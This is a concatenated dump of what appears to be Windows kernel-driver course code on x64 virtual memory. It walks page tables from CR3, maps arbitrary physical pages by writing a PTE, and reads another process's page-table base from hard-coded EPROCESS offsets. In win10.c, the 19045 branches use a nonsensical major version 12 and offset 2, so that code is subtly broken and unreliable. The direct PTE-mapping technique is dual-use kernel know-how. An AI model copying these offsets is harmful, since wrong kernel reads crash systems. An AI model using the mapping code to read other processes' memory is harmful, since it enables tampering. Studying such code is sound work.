VOID 13 | CanonicalizeVa2(VA* Va) 14 | { 15 | Va->Value = (INT64)(Va->Value << 16) >> 16; 16 | } 17 | 18 | NTSTATUS 19 | AllocateL4pte(PL4PTE* L4pte, PVOID* Ptr) 20 | { 21 | CR3 Cr3 = { .Value = __readcr3() }; 22 | PA L1ptPa = { .Fields4KB.PPN = Cr3.Fields.PPN }; 23 | PL1PTE L1pt = MmGetVirtualForPhysical(L1ptPa.AsLargeInteger); 24 | for (size_t n1 = 0; n1 < 512; n1++) 25 | { 26 | if (!L1pt[n1].Fields.P) continue; 27 | 28 | PA L2ptPa = { .Fields4KB.PPN = L1pt[n1].Fields.PPN }; 29 | PL2PTE L2pt = MmGetVirtualForPhysical(L2ptPa.AsLargeInteger); 30 | for (size_t n2 = 0; n2 < 512; n2++) 31 | { 32 | if (!L2pt[n2].Fields.P || L2pt[n2].Fields1GB.PS) continue; 33 | 34 | PA L3ptPa = { .Fields4KB.PPN = L2pt[n2].Fields.PPN }; 35 | PL3PTE L3pt = MmGetVirtualForPhysical(L3ptPa.AsLargeInteger); 36 | for (size_t n3 = 0; n3 < 512; n3++) 37 | { 38 | if (!L3pt[n3].Fields.P || L3pt[n3].Fields2MB.PS) continue; 39 | 40 | PA L4ptPa = { .Fields4KB.PPN = L3pt[n3].Fields.PPN }; 41 | PL4PTE L4pt = MmGetVirtualForPhysical(L4ptPa.AsLargeInteger); 42 | for (size_t n4 = 0; n4 < 512; n4++) 43 | { 44 | if (L4pt[n4].Fields.P) continue; 45 | 46 | L4pt[n4] = (L4PTE){ .Fields = { .P = 1, .R_W = 1 } }; 47 | *L4pte = &L4pt[n4]; 48 | VA Va = { .Fields4KB = { .VPN1 = n1, .VPN2 = n2, .VPN3 = n3, .VPN4 = n4 } }; 49 | CanonicalizeVa(&Va); 50 | *Ptr = Va.AsPtr; 51 | return STATUS_SUCCESS; 52 | } 53 | } 54 | } 55 | } 56 | 57 | return STATUS_NOT_FOUND; 58 | } 59 | 60 | VOID 61 | MapPage4KB(UINT64 PPN, PL4PTE L4pte, PVOID Ptr) 62 | { 63 | L4pte->Fields.PPN = PPN; 64 | __invlpg(Ptr); 65 | } 66 | 67 | VOID 68 | FreeL4pte(PL4PTE L4pte, PVOID Ptr) 69 | { 70 | L4pte->Value = 0; 71 | __invlpg(Ptr); 72 | } 73 | -------------------------------------------------------------------------------- /12.01.DumpL1pt/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef union _CR3 6 | { 7 | UINT64 Value; 8 | struct 9 | { 10 | UINT64 Ignored1 : 3; 11 | UINT64 PWT : 1; 12 | UINT64 PCD : 1; 13 | UINT64 Ignored2 : 7; 14 | UINT64 PPN : 40; 15 | UINT64 Reserved1 : 12; 16 | } Fields; 17 | } CR3, * PCR3; 18 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 19 | 20 | typedef union _PA 21 | { 22 | UINT64 Value; 23 | LARGE_INTEGER AsLargeInteger; 24 | struct 25 | { 26 | UINT64 PPO : 12; 27 | UINT64 PPN : 40; 28 | UINT64 Reserved1 : 12; 29 | } Fields4KB; 30 | struct 31 | { 32 | UINT64 PPO : 21; 33 | UINT64 PPN : 31; 34 | UINT64 Reserved1 : 12; 35 | } Fields2MB; 36 | struct 37 | { 38 | UINT64 PPO : 30; 39 | UINT64 PPN : 22; 40 | UINT64 Reserved1 : 12; 41 | } Fields1GB; 42 | } PA, * PPA; 43 | 44 | typedef union _L1PTE 45 | { 46 | UINT64 Value; 47 | struct 48 | { 49 | UINT64 P : 1; 50 | UINT64 R_W : 1; 51 | UINT64 U_S : 1; 52 | UINT64 PWT : 1; 53 | UINT64 PCD : 1; 54 | UINT64 A : 1; 55 | UINT64 Ingored1 : 1; 56 | UINT64 Reserved1 : 1; 57 | UINT64 Ignored2 : 3; 58 | UINT64 R : 1; 59 | UINT64 PPN : 40; 60 | UINT64 Ignored3 : 11; 61 | UINT64 XD : 1; 62 | } Fields; 63 | } L1PTE, * PL1PTE; 64 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 65 | 66 | typedef union _L2PTE 67 | { 68 | UINT64 Value; 69 | struct 70 | { 71 | UINT64 P : 1; 72 | UINT64 R_W : 1; 73 | UINT64 U_S : 1; 74 | UINT64 PWT : 1; 75 | UINT64 PCD : 1; 76 | UINT64 A : 1; 77 | UINT64 D : 1; 78 | UINT64 PS : 1; 79 | UINT64 G : 1; 80 | UINT64 Ignored1 : 2; 81 | UINT64 R : 1; 82 | UINT64 PAT : 1; 83 | UINT64 Reserved1 : 17; 84 | UINT64 PPN : 22; 85 | UINT64 Ignored2 : 7; 86 | UINT64 ProtKey : 4; 87 | UINT64 XD : 1; 88 | } Fields1GB; 89 | struct 90 | { 91 | UINT64 P : 1; 92 | UINT64 R_W : 1; 93 | UINT64 U_S : 1; 94 | UINT64 PWT : 1; 95 | UINT64 PCD : 1; 96 | UINT64 A : 1; 97 | UINT64 Ignored1 : 1; 98 | UINT64 PS : 1; 99 | UINT64 Ignored2 : 3; 100 | UINT64 R : 1; 101 | UINT64 PPN : 40; 102 | UINT64 Ignored3 : 11; 103 | UINT64 XD : 1; 104 | } Fields; 105 | } L2PTE, * PL2PTE; 106 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 107 | 108 | typedef union _L3PTE 109 | { 110 | UINT64 Value; 111 | struct 112 | { 113 | UINT64 P : 1; 114 | UINT64 R_W : 1; 115 | UINT64 U_S : 1; 116 | UINT64 PWT : 1; 117 | UINT64 PCD : 1; 118 | UINT64 A : 1; 119 | UINT64 D : 1; 120 | UINT64 PS : 1; 121 | UINT64 G : 1; 122 | UINT64 Ignored1 : 2; 123 | UINT64 R : 1; 124 | UINT64 PAT : 1; 125 | UINT64 Reserved1 : 8; 126 | UINT64 PPN : 31; 127 | UINT64 Ignored2 : 7; 128 | UINT64 ProtKey : 4; 129 | UINT64 XD : 1; 130 | } Fields2MB; 131 | struct 132 | { 133 | UINT64 P : 1; 134 | UINT64 R_W : 1; 135 | UINT64 U_S : 1; 136 | UINT64 PWT : 1; 137 | UINT64 PCD : 1; 138 | UINT64 A : 1; 139 | UINT64 Ingored1 : 1; 140 | UINT64 PS : 1; 141 | UINT64 Ignored2 : 3; 142 | UINT64 R : 1; 143 | UINT64 PPN : 40; 144 | UINT64 Ignored3 : 11; 145 | UINT64 XD : 1; 146 | } Fields; 147 | } L3PTE, * PL3PTE; 148 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 149 | 150 | typedef union _L4PTE 151 | { 152 | UINT64 Value; 153 | struct 154 | { 155 | UINT64 P : 1; 156 | UINT64 R_W : 1; 157 | UINT64 U_S : 1; 158 | UINT64 PWT : 1; 159 | UINT64 PCD : 1; 160 | UINT64 A : 1; 161 | UINT64 D : 1; 162 | UINT64 PAT : 1; 163 | UINT64 G : 1; 164 | UINT64 Ignored1 : 2; 165 | UINT64 R : 1; 166 | UINT64 PPN : 40; 167 | UINT64 Ignored2 : 7; 168 | UINT64 ProtKey : 4; 169 | UINT64 XD : 1; 170 | } Fields; 171 | } L4PTE, * PL4PTE; 172 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 173 | 174 | typedef union _VA 175 | { 176 | UINT64 Value; 177 | PVOID AsPtr; 178 | struct 179 | { 180 | UINT64 VPO : 12; 181 | UINT64 VPN4 : 9; 182 | UINT64 VPN3 : 9; 183 | UINT64 VPN2 : 9; 184 | UINT64 VPN1 : 9; 185 | UINT64 SEXT : 16; 186 | } Fields4KB; 187 | struct 188 | { 189 | UINT64 VPO : 21; 190 | UINT64 VPN3 : 9; 191 | UINT64 VPN2 : 9; 192 | UINT64 VPN1 : 9; 193 | UINT64 SEXT : 16; 194 | } Fields2MB; 195 | struct 196 | { 197 | UINT64 VPO : 30; 198 | UINT64 VPN2 : 9; 199 | UINT64 VPN1 : 9; 200 | UINT64 SEXT : 16; 201 | } Fields1GB; 202 | struct 203 | { 204 | UINT64 Ignored1 : 12; 205 | UINT64 VPN4 : 9; 206 | UINT64 VPN3 : 9; 207 | UINT64 VPN2 : 9; 208 | UINT64 VPN1 : 9; 209 | UINT64 SEXT : 16; 210 | } Fields; 211 | } VA, * PVA; 212 | static_assert(sizeof(VA) == 8, "sizeof VA"); 213 | 214 | VOID 215 | CanonicalizeVa1(VA* Va); 216 | 217 | VOID 218 | CanonicalizeVa2(VA* Va); 219 | 220 | #define CanonicalizeVa CanonicalizeVa1 221 | 222 | NTSTATUS 223 | AllocateL4pte(PL4PTE* L4pte, PVOID* Ptr); 224 | 225 | VOID 226 | MapPage4KB(UINT64 PPN, PL4PTE L4pte, PVOID Ptr); 227 | 228 | VOID 229 | FreeL4pte(PL4PTE L4pte, PVOID Ptr); 230 | -------------------------------------------------------------------------------- /12.02.DumpShadowPageTable/12.02.DumpShadowPageTable.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | -------------------------------------------------------------------------------- /12.02.DumpShadowPageTable/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _12_02_DumpShadowPageTable.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_12_02_DumpShadowPageTable.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _12_02_DumpShadowPageTable_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 12.02.DumpShadowPageTable.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | %_12_02_DumpShadowPageTable.DeviceDesc%=_12_02_DumpShadowPageTable_Device, Root\_12_02_DumpShadowPageTable ; TODO: edit hw-id 34 | 35 | [_12_02_DumpShadowPageTable_Device.NT] 36 | CopyFiles=Drivers_Dir 37 | 38 | [Drivers_Dir] 39 | 12.02.DumpShadowPageTable.sys 40 | 41 | ;-------------- Service installation 42 | [_12_02_DumpShadowPageTable_Device.NT.Services] 43 | AddService = _12_02_DumpShadowPageTable,%SPSVCINST_ASSOCSERVICE%, _12_02_DumpShadowPageTable_Service_Inst 44 | 45 | ; -------------- _12_02_DumpShadowPageTable driver install sections 46 | [_12_02_DumpShadowPageTable_Service_Inst] 47 | DisplayName = %_12_02_DumpShadowPageTable.SVCDESC% 48 | ServiceType = 1 ; SERVICE_KERNEL_DRIVER 49 | StartType = 3 ; SERVICE_DEMAND_START 50 | ErrorControl = 1 ; SERVICE_ERROR_NORMAL 51 | ServiceBinary = %12%\_12_02_DumpShadowPageTable.sys 52 | 53 | ; 54 | ;--- _12_02_DumpShadowPageTable_Device Coinstaller installation ------ 55 | ; 56 | 57 | [_12_02_DumpShadowPageTable_Device.NT.CoInstallers] 58 | AddReg=_12_02_DumpShadowPageTable_Device_CoInstaller_AddReg 59 | CopyFiles=_12_02_DumpShadowPageTable_Device_CoInstaller_CopyFiles 60 | 61 | [_12_02_DumpShadowPageTable_Device_CoInstaller_AddReg] 62 | HKR,,CoInstallers32,0x00010000, "WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll,WdfCoInstaller" 63 | 64 | [_12_02_DumpShadowPageTable_Device_CoInstaller_CopyFiles] 65 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll 66 | 67 | [_12_02_DumpShadowPageTable_Device.NT.Wdf] 68 | KmdfService = _12_02_DumpShadowPageTable, _12_02_DumpShadowPageTable_wdfsect 69 | [_12_02_DumpShadowPageTable_wdfsect] 70 | KmdfLibraryVersion = $KMDFVERSION$ 71 | 72 | [Strings] 73 | SPSVCINST_ASSOCSERVICE= 0x00000002 74 | ManufacturerName="" ;TODO: Replace with your manufacturer name 75 | DiskName = "_12_02_DumpShadowPageTable Installation Disk" 76 | _12_02_DumpShadowPageTable.DeviceDesc = "_12_02_DumpShadowPageTable Device" 77 | _12_02_DumpShadowPageTable.SVCDESC = "_12_02_DumpShadowPageTable Service" 78 | -------------------------------------------------------------------------------- /12.02.DumpShadowPageTable/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #define EXIT_IF_FAILED(Status, ...) do\ 5 | {\ 6 | if (!NT_SUCCESS(Status))\ 7 | {\ 8 | __VA_ARGS__\ 9 | goto Exit; \ 10 | }\ 11 | } while(false) 12 | -------------------------------------------------------------------------------- /12.02.DumpShadowPageTable/main.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dulong-lab/video-virtual-memory-materials/71ba5520e20b9e570879da9d9d1662c4af2bf904/12.02.DumpShadowPageTable/main.c -------------------------------------------------------------------------------- /12.02.DumpShadowPageTable/win10.c: -------------------------------------------------------------------------------- 1 | #include "win10.h" 2 | 3 | NTSTATUS 4 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation) 5 | { 6 | NTSTATUS Status; 7 | PVOID Buffer; 8 | ULONG BufferSize = 4096; 9 | 10 | do 11 | { 12 | Buffer = ExAllocatePool2(POOL_FLAG_NON_PAGED, BufferSize, 'bisQ'); 13 | if (!Buffer) return STATUS_NO_MEMORY; 14 | 15 | Status = NtQuerySystemInformation(SystemInformationClass, Buffer, BufferSize, &BufferSize); 16 | if (NT_SUCCESS(Status)) { 17 | *SystemInformation = Buffer; 18 | return Status; 19 | } 20 | 21 | ExFreePool(Buffer); 22 | if (STATUS_INFO_LENGTH_MISMATCH != Status) return Status; 23 | } while (TRUE); 24 | } 25 | 26 | NTSTATUS 27 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process) 28 | { 29 | NTSTATUS Status; 30 | PSYSTEM_PROCESS_INFORMATION ProcessInformationArray = NULL; 31 | 32 | Status = QuerySystemInformation(SystemProcessInformation, &ProcessInformationArray); 33 | if (!NT_SUCCESS(Status)) return Status; 34 | 35 | PSYSTEM_PROCESS_INFORMATION CurrentInformation = ProcessInformationArray; 36 | UNICODE_STRING ImageNameUnicodeString; 37 | RtlInitUnicodeString(&ImageNameUnicodeString, ImageName); 38 | 39 | while (TRUE) 40 | { 41 | if (RtlCompareUnicodeString(&CurrentInformation->ImageName, &ImageNameUnicodeString, FALSE) == 0) 42 | { 43 | Status = PsLookupProcessByProcessId(CurrentInformation->UniqueProcessId, Process); 44 | ExFreePool(ProcessInformationArray); 45 | return Status; 46 | } 47 | 48 | if (CurrentInformation->NextEntryOffset == 0) 49 | { 50 | ExFreePool(ProcessInformationArray); 51 | return STATUS_NOT_FOUND; 52 | } 53 | 54 | CurrentInformation = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)CurrentInformation + CurrentInformation->NextEntryOffset); 55 | } 56 | } 57 | 58 | NTSTATUS 59 | GetProcessDirectoryTableBase(PEPROCESS Process, CR3* DirectoryTableBase) 60 | { 61 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 62 | RtlGetVersion(&Version); 63 | 64 | UINT64 Offset; 65 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x028; 66 | else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 0x028; 67 | else return STATUS_NOT_SUPPORTED; 68 | 69 | *DirectoryTableBase = *(CR3*)((UINT64)Process + Offset); 70 | return STATUS_SUCCESS; 71 | } 72 | 73 | NTSTATUS 74 | GetProcessUserDirectoryTableBase(PEPROCESS Process, CR3* UserDirectoryTableBase) 75 | { 76 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 77 | RtlGetVersion(&Version); 78 | 79 | UINT64 Offset; 80 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x388; 81 | else if (Version.dwMajorVersion == 12 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 2; 82 | else return STATUS_NOT_SUPPORTED; 83 | 84 | *UserDirectoryTableBase = *(CR3*)((UINT64)Process + Offset); 85 | return STATUS_SUCCESS; 86 | } 87 | 88 | NTSTATUS 89 | GetProcessAddressPolicy(PEPROCESS Process, BOOLEAN* AddressPolicy) 90 | { 91 | RTL_OSVERSIONINFOW Version = { .dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW) }; 92 | RtlGetVersion(&Version); 93 | 94 | UINT64 Offset; 95 | if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19044) Offset = 0x390; 96 | else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber == 19045) Offset = 2; 97 | else return STATUS_NOT_SUPPORTED; 98 | 99 | *AddressPolicy = *(BOOLEAN*)((UINT64)Process + Offset); 100 | return STATUS_SUCCESS; 101 | } 102 | -------------------------------------------------------------------------------- /12.02.DumpShadowPageTable/win10.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "x64.h" 4 | 5 | // winternl.h 6 | typedef enum _SYSTEM_INFORMATION_CLASS { 7 | SystemBasicInformation = 0, 8 | SystemPerformanceInformation = 2, 9 | SystemTimeOfDayInformation = 3, 10 | SystemProcessInformation = 5, 11 | SystemProcessorPerformanceInformation = 8, 12 | SystemInterruptInformation = 23, 13 | SystemExceptionInformation = 33, 14 | SystemRegistryQuotaInformation = 37, 15 | SystemLookasideInformation = 45, 16 | SystemCodeIntegrityInformation = 103, 17 | SystemPolicyInformation = 134, 18 | } SYSTEM_INFORMATION_CLASS; 19 | 20 | // winternl.h 21 | typedef struct _SYSTEM_PROCESS_INFORMATION { 22 | ULONG NextEntryOffset; 23 | ULONG NumberOfThreads; 24 | UCHAR Reserved1[48]; 25 | UNICODE_STRING ImageName; 26 | KPRIORITY BasePriority; 27 | HANDLE UniqueProcessId; 28 | PVOID Reserved2; 29 | ULONG HandleCount; 30 | ULONG SessionId; 31 | PVOID Reserved3; 32 | SIZE_T PeakVirtualSize; 33 | SIZE_T VirtualSize; 34 | ULONG Reserved4; 35 | SIZE_T PeakWorkingSetSize; 36 | SIZE_T WorkingSetSize; 37 | PVOID Reserved5; 38 | SIZE_T QuotaPagedPoolUsage; 39 | PVOID Reserved6; 40 | SIZE_T QuotaNonPagedPoolUsage; 41 | SIZE_T PagefileUsage; 42 | SIZE_T PeakPagefileUsage; 43 | SIZE_T PrivatePageCount; 44 | LARGE_INTEGER Reserved7[6]; 45 | } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; 46 | 47 | // winternl.h 48 | // https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation 49 | NTKERNELAPI 50 | NTSTATUS 51 | NtQuerySystemInformation( 52 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 53 | PVOID SystemInformation, 54 | ULONG SystemInformationLength, 55 | PULONG ReturnLength 56 | ); 57 | 58 | NTSTATUS 59 | QuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID* SystemInformation); 60 | 61 | NTSTATUS 62 | LookUpProcessByImageName(PCWSTR ImageName, PEPROCESS* Process); 63 | 64 | NTSTATUS 65 | GetProcessDirectoryTableBase(PEPROCESS Process, CR3* DirectoryTableBase); 66 | 67 | NTSTATUS 68 | GetProcessUserDirectoryTableBase(PEPROCESS Process, CR3* UserDirectoryTableBase); 69 | 70 | NTSTATUS 71 | GetProcessAddressPolicy(PEPROCESS Process, BOOLEAN* AddressPolicy); 72 | -------------------------------------------------------------------------------- /12.02.DumpShadowPageTable/x64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | typedef union _CR3 6 | { 7 | UINT64 Value; 8 | struct 9 | { 10 | UINT64 Ignored1 : 3; 11 | UINT64 PWT : 1; 12 | UINT64 PCD : 1; 13 | UINT64 Ignored2 : 7; 14 | UINT64 PPN : 40; 15 | UINT64 Reserved1 : 12; 16 | } Fields; 17 | } CR3, * PCR3; 18 | static_assert(sizeof(CR3) == 8, "sizeof CR3"); 19 | 20 | typedef union _PA 21 | { 22 | UINT64 Value; 23 | LARGE_INTEGER AsLargeInteger; 24 | struct 25 | { 26 | UINT64 PPO : 12; 27 | UINT64 PPN : 40; 28 | UINT64 Reserved1 : 12; 29 | } Fields4KB; 30 | struct 31 | { 32 | UINT64 PPO : 21; 33 | UINT64 PPN : 31; 34 | UINT64 Reserved1 : 12; 35 | } Fields2MB; 36 | struct 37 | { 38 | UINT64 PPO : 30; 39 | UINT64 PPN : 22; 40 | UINT64 Reserved1 : 12; 41 | } Fields1GB; 42 | } PA, * PPA; 43 | 44 | typedef union _L1PTE 45 | { 46 | UINT64 Value; 47 | struct 48 | { 49 | UINT64 P : 1; 50 | UINT64 R_W : 1; 51 | UINT64 U_S : 1; 52 | UINT64 PWT : 1; 53 | UINT64 PCD : 1; 54 | UINT64 A : 1; 55 | UINT64 Ingored1 : 1; 56 | UINT64 Reserved1 : 1; 57 | UINT64 Ignored2 : 3; 58 | UINT64 R : 1; 59 | UINT64 PPN : 40; 60 | UINT64 Ignored3 : 11; 61 | UINT64 XD : 1; 62 | } Fields; 63 | } L1PTE, * PL1PTE; 64 | static_assert(sizeof(L1PTE) == 8, "sizeof L1PTE"); 65 | 66 | typedef union _L2PTE 67 | { 68 | UINT64 Value; 69 | struct 70 | { 71 | UINT64 P : 1; 72 | UINT64 R_W : 1; 73 | UINT64 U_S : 1; 74 | UINT64 PWT : 1; 75 | UINT64 PCD : 1; 76 | UINT64 A : 1; 77 | UINT64 D : 1; 78 | UINT64 PS : 1; 79 | UINT64 G : 1; 80 | UINT64 Ignored1 : 2; 81 | UINT64 R : 1; 82 | UINT64 PAT : 1; 83 | UINT64 Reserved1 : 17; 84 | UINT64 PPN : 22; 85 | UINT64 Ignored2 : 7; 86 | UINT64 ProtKey : 4; 87 | UINT64 XD : 1; 88 | } Fields1GB; 89 | struct 90 | { 91 | UINT64 P : 1; 92 | UINT64 R_W : 1; 93 | UINT64 U_S : 1; 94 | UINT64 PWT : 1; 95 | UINT64 PCD : 1; 96 | UINT64 A : 1; 97 | UINT64 Ignored1 : 1; 98 | UINT64 PS : 1; 99 | UINT64 Ignored2 : 3; 100 | UINT64 R : 1; 101 | UINT64 PPN : 40; 102 | UINT64 Ignored3 : 11; 103 | UINT64 XD : 1; 104 | } Fields; 105 | } L2PTE, * PL2PTE; 106 | static_assert(sizeof(L2PTE) == 8, "sizeof L2PTE"); 107 | 108 | typedef union _L3PTE 109 | { 110 | UINT64 Value; 111 | struct 112 | { 113 | UINT64 P : 1; 114 | UINT64 R_W : 1; 115 | UINT64 U_S : 1; 116 | UINT64 PWT : 1; 117 | UINT64 PCD : 1; 118 | UINT64 A : 1; 119 | UINT64 D : 1; 120 | UINT64 PS : 1; 121 | UINT64 G : 1; 122 | UINT64 Ignored1 : 2; 123 | UINT64 R : 1; 124 | UINT64 PAT : 1; 125 | UINT64 Reserved1 : 8; 126 | UINT64 PPN : 31; 127 | UINT64 Ignored2 : 7; 128 | UINT64 ProtKey : 4; 129 | UINT64 XD : 1; 130 | } Fields2MB; 131 | struct 132 | { 133 | UINT64 P : 1; 134 | UINT64 R_W : 1; 135 | UINT64 U_S : 1; 136 | UINT64 PWT : 1; 137 | UINT64 PCD : 1; 138 | UINT64 A : 1; 139 | UINT64 Ingored1 : 1; 140 | UINT64 PS : 1; 141 | UINT64 Ignored2 : 3; 142 | UINT64 R : 1; 143 | UINT64 PPN : 40; 144 | UINT64 Ignored3 : 11; 145 | UINT64 XD : 1; 146 | } Fields; 147 | } L3PTE, * PL3PTE; 148 | static_assert(sizeof(L3PTE) == 8, "sizeof L3PTE"); 149 | 150 | typedef union _L4PTE 151 | { 152 | UINT64 Value; 153 | struct 154 | { 155 | UINT64 P : 1; 156 | UINT64 R_W : 1; 157 | UINT64 U_S : 1; 158 | UINT64 PWT : 1; 159 | UINT64 PCD : 1; 160 | UINT64 A : 1; 161 | UINT64 D : 1; 162 | UINT64 PAT : 1; 163 | UINT64 G : 1; 164 | UINT64 Ignored1 : 2; 165 | UINT64 R : 1; 166 | UINT64 PPN : 40; 167 | UINT64 Ignored2 : 7; 168 | UINT64 ProtKey : 4; 169 | UINT64 XD : 1; 170 | } Fields; 171 | } L4PTE, * PL4PTE; 172 | static_assert(sizeof(L4PTE) == 8, "sizeof L4PTE"); 173 | 174 | typedef union _VA 175 | { 176 | UINT64 Value; 177 | PVOID AsPtr; 178 | struct 179 | { 180 | UINT64 VPO : 12; 181 | UINT64 VPN4 : 9; 182 | UINT64 VPN3 : 9; 183 | UINT64 VPN2 : 9; 184 | UINT64 VPN1 : 9; 185 | UINT64 SEXT : 16; 186 | } Fields4KB; 187 | struct 188 | { 189 | UINT64 VPO : 21; 190 | UINT64 VPN3 : 9; 191 | UINT64 VPN2 : 9; 192 | UINT64 VPN1 : 9; 193 | UINT64 SEXT : 16; 194 | } Fields2MB; 195 | struct 196 | { 197 | UINT64 VPO : 30; 198 | UINT64 VPN2 : 9; 199 | UINT64 VPN1 : 9; 200 | UINT64 SEXT : 16; 201 | } Fields1GB; 202 | struct 203 | { 204 | UINT64 Ignored1 : 12; 205 | UINT64 VPN4 : 9; 206 | UINT64 VPN3 : 9; 207 | UINT64 VPN2 : 9; 208 | UINT64 VPN1 : 9; 209 | UINT64 SEXT : 16; 210 | } Fields; 211 | } VA, * PVA; 212 | static_assert(sizeof(VA) == 8, "sizeof VA"); 213 | 214 | VOID 215 | CanonicalizeVa1(VA* Va); 216 | 217 | VOID 218 | CanonicalizeVa2(VA* Va); 219 | 220 | #define CanonicalizeVa CanonicalizeVa1 221 | 222 | NTSTATUS 223 | AllocateL4pte(PL4PTE* L4pte, PVOID* Ptr); 224 | 225 | VOID 226 | MapPage4KB(UINT64 PPN, PL4PTE L4pte, PVOID Ptr); 227 | 228 | VOID 229 | FreeL4pte(PL4PTE L4pte, PVOID Ptr); 230 | 231 | NTSTATUS 232 | DumpPageTable(CR3 Cr3); 233 | -------------------------------------------------------------------------------- /12.03.ShareMemory/12.03.ShareMemory.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | -------------------------------------------------------------------------------- /12.03.ShareMemory/VmDriverTemplateV1.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; _12_03_ShareMemory.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System ; TODO: specify appropriate Class 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid 9 | Provider=%ManufacturerName% 10 | CatalogFile=_12_03_ShareMemory.cat 11 | DriverVer= ; TODO: set DriverVer in stampinf property pages 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | _12_03_ShareMemory_Device_CoInstaller_CopyFiles = 11 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 12.03.ShareMemory.sys = 1,, 23 | WdfCoInstaller$KMDFCOINSTALLERVERSION$.dll=1 ; make sure the number matches with SourceDisksNames 24 | 25 | ;***************************************** 26 | ; Install Section 27 | ;***************************************** 28 | 29 | [Manufacturer] 30 | %ManufacturerName%=Standard,NT$ARCH$ 31 | 32 | [Standard.NT$ARCH$] 33 | 